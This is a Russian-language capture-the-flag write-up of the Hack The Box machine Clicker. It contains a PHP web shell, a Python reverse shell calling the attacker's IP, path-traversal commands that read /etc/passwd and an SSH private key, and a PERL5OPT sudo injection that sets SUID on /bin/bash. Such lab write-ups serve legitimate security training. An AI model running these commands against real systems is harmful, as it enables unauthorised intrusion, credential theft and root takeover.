March 11

HTB Clicker. Инжектим команды через Perl

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу, как исполь­зовать уяз­вимость в Perl, что­бы про­вес­ти инъ­екцию команд и повысить при­виле­гии на ата­куемой машине. Но сна­чала мы устро­им ата­ку на сайт, получим RCE и деком­пилиру­ем поль­зователь­ское при­ложе­ние.

На­ша цель — зах­ват рута на машине Clicker с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — сред­ний.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.232 clicker.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел нес­коль­ко откры­тых пор­тов, сре­ди них отме­тим:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 — веб‑сер­вер Apache 2.4.52;
  • 2049 — служ­ба NFS.

Ос­таль­ные пор­ты не пред­став­ляют инте­реса.

ТОЧКА ВХОДА

Пер­вым делом под­клю­чим­ся к хра­нили­щу NFS и пос­мотрим, что там.

showmount -e clicker.htb

Дос­тупные раз­делы NFS

Нам дос­тупен раз­дел с бэкапа­ми. При­мон­тиру­ем его и пос­мотрим содер­жимое.

sudo mount -t nfs clicker.htb:/mnt/backups /mnt/

Со­дер­жимое раз­дела

Там все­го один архив, копиру­ем его на нашу машину и демон­тиру­ем раз­дел.

sudo umount /mnt

Со­дер­жимое архи­ва

Ар­хив содер­жит исходные коды сай­та, что облегчит поиск уяз­вимос­тей.

Глав­ная стра­ница сай­та

ТОЧКА ОПОРЫ

Повышение привилегий на сайте

Спер­ва по поряд­ку прос­матри­ваем все фай­лы и в каж­дом отме­чаем инте­рес­ные дан­ные и потен­циаль­ные уяз­вимос­ти. К при­меру, в db_utils.php лежат фун­кции для заг­рузки и сох­ранения про­филя (стро­ки 44–66). В обе­их фун­кци­ях исполь­зует­ся зап­рос к базе дан­ных, в пер­вом слу­чае для получе­ния дан­ных, во вто­ром — для изме­нения сущес­тву­ющей записи.

Со­дер­жимое фай­ла db_utils.php

Из фай­ла diagnostic.php узна­ём о сущес­тво­вании токена дос­тупа (стро­ки 2–7), а так­же получа­ем информа­цию для под­клю­чения к базе дан­ных (стро­ки 27–38).

Со­дер­жимое фай­ла diagnostic.php

В фай­ле export.php про­веря­ется роль поль­зовате­ля (стро­ки 5–8), таким обра­зом, сущес­тву­ют юзе­ры с раз­ными при­виле­гиями. Затем дан­ные извле­кают­ся из парамет­ров и сох­раня­ются в файл, рас­ширение которо­го тоже получе­но из парамет­ра. Это явный путь к RCE, так как мы можем сох­ранить файл с кодом на PHP.

Со­дер­жимое фай­ла export.php

Еще инте­рес­нее код в фай­ле save_game.php. В стро­ке 7 уста­нав­лива­ются все передан­ные в зап­росе парамет­ры. Толь­ко при­сутс­тву­ет филь­тр на параметр role.

Со­дер­жимое фай­ла save_game.php

Это очень инте­рес­ный код, так как, если получит­ся обой­ти филь­тр, мы под­нимем роль сво­его поль­зовате­ля до адми­нис­тра­тора. Перей­дем на стра­ницу play.php, пок­лика­ем по кноп­ке и сох­раним резуль­тат. Затем отпра­вим зап­рос в Burp Repeater и добавим параметр role. В ответ получим ожи­даемую ошиб­ку.

Стра­ница play.php
Зап­рос в Burp Repeater

Так как получен­ные парамет­ры будут исполь­зованы в SQL-зап­росе на изме­нение дан­ных, обход филь­тра зак­люча­ется в таком спо­собе переда­чи стро­ки role=Admin, что­бы она обош­ла про­вер­ку strtolower, но была валид­ной в SQL-зап­росе. К при­меру, мож­но исполь­зовать сим­волы ком­мента­риев SQL /**/ или исполь­зовать URL-кодиро­вание.

Ко­диро­вание URL в Burp Decoder
Зап­рос на сер­вер

Ко­ман­да успешно выпол­нена, но в акка­унте поль­зовате­ля никаких изме­нений не вид­но. Проб­лему уда­лось решить бла­года­ря обыч­ному сим­волу ком­мента­рия SQL # (%23).

Зап­рос на сер­вер

За­ново авто­ризу­емся на стра­нице и видим, что теперь у нас есть дос­туп к админ­ской панели.

Глав­ная стра­ница сай­та

Получение RCE

Вер­немся к най­ден­ной ранее воз­можнос­ти экспор­та дан­ных в файл.

Па­нель адми­нис­тра­тора

Но на панели адми­нис­тра­тора ничего не находим. В исходном коде стра­ницы admin.php видим отправ­ку дан­ных на стра­ницу export.php.

Со­дер­жимое фай­ла admin.php

Я прос­то перешел на стра­ницу export.php, и меня переб­росило обратно на стра­ницу admin.php. В этот раз на стра­нице при­сутс­тву­ют все дан­ные. Прос­то экспор­тиру­ем в файл JSON.

Па­нель адми­нис­тра­тора
Со­дер­жимое фай­ла JSON

Так­же взгля­нем на зап­рос в Burp Proxy. Там, как и ожи­далось, переда­ется рас­ширение фай­ла для экспор­та.

Зап­рос в Burp Proxy

От­пра­вим зап­рос в Burp Repeater и изме­ним рас­ширение на .php. В отве­те получа­ем путь к PHP-фай­лу, который не будет заб­локиро­ван на сер­вере.

Отоб­ражение стра­ницы PHP

Те­перь перей­дем к коду export.php. В фай­ле записы­вают­ся зна­чения парамет­ров nickname, clicks и level.

Со­дер­жимое фай­ла export.php

Как уста­нав­ливать зна­чения нуж­ных нам перемен­ных, уже зна­ем, поэто­му ана­логич­но роли поль­зовате­ля записы­ваем в перемен­ную nickname самый прос­той PHP-шелл:

<?php system($_GET['c']); ?>

Ко­диро­вание шел­ла
За­пись перемен­ной nickname

Те­перь экспор­тиру­ем дан­ные в файл .php, затем перехо­дим к шел­лу и отправ­ляем коман­ду id.

Сох­ранение фай­ла
Ре­зуль­тат выпол­нения коман­ды id

Ко­ман­да выпол­нена, а зна­чит, мож­но получить пол­ноцен­ный реверс‑шелл.

За­пус­каем лис­тенер:

pwncat-cs -lp 4321

А теперь отпра­вим вот такой реверс‑шелл на Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.16.26",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("bash")'

Сес­сия поль­зовате­ля

ПРОДВИЖЕНИЕ

Мы залоги­нились как поль­зователь, и теперь нуж­но понять, как повышать при­виле­гии в сис­теме. Для это­го полез­но соб­рать всю дос­тупную информа­цию. Я обыч­но исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Вы­бира­ем из резуль­татов самое важ­ное.

На хос­те прос­лушива­ется мно­го пор­тов, воз­можно, есть дос­тупные локаль­но сай­ты и служ­бы.

Спи­сок прос­лушива­емых пор­тов

У фай­ла execute_query уста­нов­лен S-бит, а его вла­делец — поль­зователь jack.

Фай­лы с уста­нов­ленным SUID

В катало­ге /opt лежит поль­зователь­ский скрипт monitor.sh.

Со­дер­жимое катало­га opt

В этом скрип­те никаких учет­ных дан­ных нет, одна­ко есть отме­на перемен­ных окру­жения PERL5LIB и PERLLIB, с которы­ми свя­зана одна уяз­вимость про­изволь­ного выпол­нения кода в кон­тек­сте при­ложе­ния.

Со­дер­жимое скрип­та monitor.sh

Пе­рей­дем к при­ложе­нию с уста­нов­ленным битом SUID. Ког­да у фай­ла есть атри­бут SUID, обыч­ный поль­зователь может запус­тить его и получить пра­ва поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. В нашем слу­чае это поль­зователь jack. Так­же к фай­лу при­лага­ется README.

Опи­сание при­ложе­ния

Это при­ложе­ние нуж­но для работы с базой дан­ных и пред­лага­ет четыре опции. Что­бы разоб­рать­ся в его работе, я исполь­зовал деком­пилятор Hex-Rays в IDA Pro.

При­ложе­ние при­нима­ет на вход два парамет­ра. Пер­вый будет обра­ботан как номер опции (стро­ки 14–21), а вто­рой встав­лен в коман­ду MySQL, которая выпол­няет­ся через фун­кцию system (стро­ки 36–42).

Де­ком­пилиро­ван­ный код фун­кции main

Так как инс­трук­ция __asm { jmp rax } не деком­пилиро­валась, перехо­дим в гра­фовое пред­став­ление и видим ана­лог опе­рато­ра case, выбира­ющий вет­ку кода в зависи­мос­ти от ука­зан­ной опции.

Ди­зас­сем­бли­рован­ный код фун­кции main

Од­нако отсутс­тву­ет обра­бот­ка исклю­чения, которое про­изой­дет, если ука­зан­ная опция будет боль­ше 4. В таком слу­чае передан­ная во вто­ром парамет­ре стро­ка добав­ляет­ся к пути /home/jack/queries/, и, если ито­говый файл дос­тупен для чте­ния, он переда­ется в коман­ду mysql. Таким обра­зом будет обес­печен вывод фай­ла в тер­минал.

Про­верим пред­положе­ние и про­чита­ем файл /etc/passwd, не забыва­ем добавить пос­ледова­тель­нос­ти ../ для обхо­да катало­га.

./execute_query 5 ../../../etc/passwd

Со­дер­жимое фай­ла /etc/passwd

По­луча­ем содер­жимое фай­ла и про­буем про­читать при­ват­ный ключ SSH.

./execute_query 5 ../.ssh/id_rsa

Со­дер­жимое фай­ла id_rsa

Сох­раня­ем ключ и под­клю­чаем­ся по SSH как поль­зователь jack.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Од­но из пер­вых мест, которые нуж­но про­верить при повыше­нии при­виле­гий, — это файл sudoers. Получить его мож­но коман­дой sudo -l.

Нас­трой­ки sudoers

Уз­наём, что наш поль­зователь может выпол­нить скрипт /opt/monitor.sh с пре­дус­танов­ленны­ми перемен­ными окру­жения от име­ни поль­зовате­ля root. Мы уже видели этот скрипт, поэто­му сра­зу перехо­дим к выпол­нению кода бла­года­ря перемен­ным окру­жения.

PoC для уяз­вимос­ти

В нашем слу­чае при исполь­зовании язы­ка Perl перемен­ная сре­ды PERL5OPT поз­воля­ет задать параметр коман­дной стро­ки, ука­зыва­ющий на допол­нитель­ный модуль. При этом параметр -M поз­воля­ет добав­лять код на Perl пос­ле име­ни модуля. Таким обра­зом мож­но выпол­нить коман­ду id с помощью сле­дующей конс­трук­ции.

sudo PERL5OPT='-Mbase;print(`id`)' /opt/monitor.sh

Про­вер­ка уяз­вимос­ти

Ко­ман­да выпол­нена, а зна­чит, мы можем получить и при­виле­гиро­ван­ный шелл. Для это­го напишем скрипт, уста­нав­лива­ющий S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

echo 'chmod u+s /bin/bash' > /dev/shm/lpe.sh chmod +x /dev/shm/lpe.sh sudo PERL5OPT='-Mbase;print(`/dev/shm/lpe.sh`)' /opt/monitor.sh

Про­вер­ка раз­решений /bin/bash

SUID при­сутс­тву­ет, а зна­чит, можем получить шелл в кон­тек­сте поль­зовате­ля root.